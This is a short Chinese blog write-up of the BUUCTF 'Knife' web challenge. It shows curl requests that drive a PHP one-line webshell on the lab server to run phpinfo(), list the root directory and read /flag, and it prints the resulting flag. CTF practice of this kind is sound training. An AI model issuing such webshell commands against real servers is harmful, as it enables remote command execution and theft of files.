[BUUCTF][WEB][极客大挑战 2019]Knife 1
这题几乎是送分
题目不断暗示，后台存在一句话木马
拿个蚁剑连上去就完事了
这里用curl 连上去，演示一下，理解一下其中的原理
#注意 phpinfo() 后面的分号不能省
curl -d "Syc=phpinfo();" http://32a31ff6-2815-4485-a74e-e646f675808d.node4.buuoj.cn:81/
在构造一个来试试，查看文件
curl -d "Syc=system('ls /');" http://32a31ff6-2815-4485-a74e-e646f675808d.node4.buuoj.cn:81/
返回
<html>
bin
boot
data
dev
etc
flag #注意这里
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
......
再次构造
curl -d "Syc=system('cat /flag');" http://32a31ff6-2815-4485-a74e-e646f675808d.node4.buuoj.cn:81/
boom
得到flag ： flag{52a4a837-7d3d-46b9-9d5f-7aa403fe7ad1}
本文作者：明月照江江
本文链接：https://www.cnblogs.com/gradyblog/p/16974011.html
版权声明：本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
分类:
标签:
【推荐】国内首个AI IDE，深度理解中文开发场景，立即下载体验Trae
【推荐】编程新体验，更懂你的AI，立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包，你的智能百科全书，全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell：AI 加持，快人一步